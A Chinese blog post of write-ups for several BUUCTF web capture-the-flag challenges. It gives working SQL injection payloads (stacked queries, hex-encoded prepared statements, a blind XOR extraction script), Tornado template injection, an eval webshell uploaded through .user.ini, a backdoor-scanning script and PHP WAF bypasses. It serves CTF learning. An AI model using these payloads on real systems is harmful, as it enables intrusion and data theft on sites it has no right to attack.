本來一題一篇文章,結果發現太浪費了,所以整合起來了,這篇博文就記錄 BUUCTF 的 web 題目的題解吧!
隨便注
隨便輸入一個單引號,報錯
order by 3就不行了
嘗試聯合查詢的時候出現提示:
"/select|update|delete|drop|insert|where|\./i"
一個正則可視化網站:https://regexper.com
使用堆疊注入:1';show tables;#
看一下表里有什么列名:1';show columns from `1919810931114514`;#
(注意,字符串為表名的表操作時要加反引號)
但是沒辦法使用 select * from `1919810931114514`
看網上師傅們有兩種方法,第一種:mysql 預定義語句
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare execsql from @a;execute execsql;# hex decode 以后是:?inject=1';SeT@a=select * from `1919810931114514`;Prepare execsql from @a;execute execsql;#
還有一種方法時是:改表名 這樣查詢的時候就可以查詢到 flag
?inject=1'; rename tables `words` to `test`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
意思分別是:把 words 表改名為 test,把 1919810931114541 改名為 words
把列名 flag 改為 id
這樣在 1'; or 1=1# 查詢的時候就會把所有的都列出來,這樣就可以看到 flag 了
easy_tornado
打開看到有三個文件:
三個文件內容如下:
通過 url 知道,訪問一個文件需要知道:filename 跟 filehash
企圖直接訪問是不行的,想到了 burp 抓包,但是抓了半天沒抓到,看了網上的 wp 是 模版注入
tornado 是一個 python 的模板,welcome.txt 中的 render 是 python 中的一個渲染函數,
報錯時候的 url 是這樣的
嘗試把后面換成:{{111}},輸出了!
在 tornado 模板中,存在一些可以訪問的快速對象,例如:
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
那么輸入:{{handler.settings}}
拿到 cookie 就 OK 了!
import hashlib
def md5value(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def jiami(): filename = '/fllllllllllllag' cookie_s ="ea7d75de-4ca5-486a-a69c-e690f3a8c217" print(md5value(filename.encode('utf-8'))) x=md5value(filename.encode('utf-8')) y=cookie_s+xprint(md5value(y.encode('utf-8'))) jiami()
EasySQL
這道題目有兩種解法,一種是:*,1,這樣查詢結果會把表中所有的數據返回來(據說是非預期解,出題人可能忘記過濾掉*了)
還有一種說是考察sql_mode,通過堆疊注入修改sql_mode,
可以通過修改 sql_mode 模式 : PIPES_AS_CONCAT 來實現將 ||
視為字符串連接符而非 或 運算符
因此這里預期的 Payload 是通過修改 sql_mode 來拿到 Flag
Payload :
1;set sql_mode=PIPES_AS_CONCAT;SELECT 1
拼接后就變成了
SELECT 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1 || flag FROM Flag
高明的黑客
訪問提示源碼在 www.tar.gz
在網址后面加上 www.tar.gz 是可以下載下來的
下下來里面超級多 php 文件,用大佬的 python 腳本篩選出來
import os,re
import requests filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/') pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]") for name in filenames: print(name) with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f: data = f.read() result = list(set(pattern.findall(data))) for ret in result: try: command = 'echo "got it"' flag = 'got it' # command = 'phpinfo();' # flag = 'phpinfo' if 'GET' in ret: passwd = re.findall(r"'(.*)'",ret)[0] r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command) if "got it" in r.text: print('backdoor file is: ' + name) print('GET: ' + passwd) elif 'POST' in ret: passwd = re.findall(r"'(.*)'",ret)[0] r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command}) if "got it" in r.text: print('backdoor file is: ' + name) print('POST: ' + passwd) except : pass
我參考的網上的 wp 直接把 x 開頭之前的 php 文件刪掉了,不然要跑很長時間(php 版本要用 7 以上的)
訪問 xk0SzyKwfzw.php?Efa5BVG= cat /flag 得到 flag
admin
網上的 wp 有三個方法,這里只記錄一個,Unicode 欺騙
https://www.anquanke.com/post/id/164086
注冊用戶:ᴬdmin
會將其變成:Admin
修改密碼的時候會變成:admin
這樣就可以直接訪問 admin 用戶
checkin
拿到題目,是一個上傳界面
嘗試上傳,php 顯示非法后綴,傳圖馬顯示內容里面有 <?
嘗試這樣的:
GIF89a
<script language="php">eval ($_POST['yichen']);</script>
成功上傳,同時還顯示了文件夾下的內容
想上傳 .htaccess 把圖片馬解析成為 php 但是失敗了
看 wp 以后學到了 .user.ini 來上傳后門
了解一下,先從 php.ini 說起 php.ini 是 php 的默認配置文件,其中包括了很多 php 的配置
其中 PHP_INI_USER 的配置項,可以在 ini_set () 函數中設置、注冊表中設置,再就是.user.ini 中設置可以理解為 php 是允許用戶自定義的 php.ini
實際上,除了 PHP_INI_SYSTEM
以外的模式(包括 PHP_INI_ALL)都是可以通過.user.ini 來設置的
而且 php.ini 是種動態加載的 ini 文件,不需要重啟服務,只需要等待user_ini.cache_ttl
所設置的時間(默認300秒)就可以
需要看的是這兩個選項,它們的作用是指定一個文件,會自動把這個文件包含在其他要執行的文件里面,相當於 require()
使用方法很簡單,只需要在 .user.ini 文件中寫:
auto_prepend_file=文件名(比如:yichen.jpg)
解題:先上傳一個 .user.ini 文件
在上傳一個 yichen.jpg 文件
然后在訪問同一文件夾下的 index.php 就可以得到 flag 了
Hack World
sql注入題目,通過基於時間的盲注可以測出來,但是不會寫腳本,懶得一個一個測,看了師傅們的wp
師傅們用了 異或 這種操作,長見識了,師傅們的 WP:
(意識到應該整理一些 sqli 的 FUZZ 字典
import requests from lxml import etree def a(): url="http://af100f25-ad84-449a-98cc-64ef4e7fda40.node3.buuoj.cn" flag="Hello, glzjin wants a girlfriend." final="" stop=0 for i in range(1,1290): print("*"*50,i,"*"*50) stop=0 for j in range(32,129): stop = j data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)} re = requests.post(url=url,data=data).text.replace('\n','') html = etree.HTML(re).xpath("//text()") # print(">>",html) if flag in html: final+=chr(j) print("\n\t\t\t\t",final) break if stop >= 128: print("*"*50,"結束") print(">>",final) break if __name__ == '__main__': a()
Easy Cacl
PHP 字符串解析特性:
當 php 查詢字符串進行解析的時候會將某些字符刪除或用下划線代替
參考:https://www.freebuf.com/articles/web/213359.html
在 freebuf 的文章中,發現了上面這些是可以被用來替換的
用到這道題目上來, WAF 的存在使得沒法給 num 傳字符,但是如果在 num 前面加上個空格,那樣 WAF 在檢測的時候就不會檢測到 num 這個參數,但是 PHP在解析的時候會把空格刪掉,這樣就可以命令執行了,同時 calc.php 中還有個黑名單,可以使用 chr() 來繞過
查看目錄
calc.php? num=1;var_dump(scandir(chr(47)))
查看 flag
calc.php? num=1;var_dump(readfile(chr(47).f1agg))
不太明白為啥直接f1agg不行